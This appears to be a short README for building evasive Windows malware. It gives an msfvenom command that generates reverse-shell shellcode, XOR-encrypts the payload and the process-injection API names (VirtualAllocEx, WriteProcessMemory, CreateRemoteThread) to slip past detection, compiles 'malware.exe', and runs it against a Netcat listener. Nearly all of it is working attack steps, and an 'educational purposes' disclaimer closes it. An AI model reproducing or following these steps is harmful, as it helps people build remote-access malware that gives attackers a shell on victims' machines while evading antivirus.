Run this command to generate the shellcode via Msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4455 -f raw -o shellcode.binRun this command to encrypt the generated shellcode.
python xorencrypt.py shellcode.binMake sure every function, like CreateRemoteThread, WriteProcessMemory, and VirtualAllocEx is encrypted. Use Python to do.
ptyhon
printCiphertext(xor("VirtualAllocEx", "password"))
printCiphertext(xor("WriteProcessMemory", "password"))
printCiphertext(xor("CreateRemoteThread", "password"))Note: Once those done, put them in the
*.cppfile, take a look the specific line.
- Run
compiler.batto compile all of them, then you will havemalware.exe - Run the listener (such as Netcat tool)
- Run
malware.exe
Everything is strictly for educational purposes!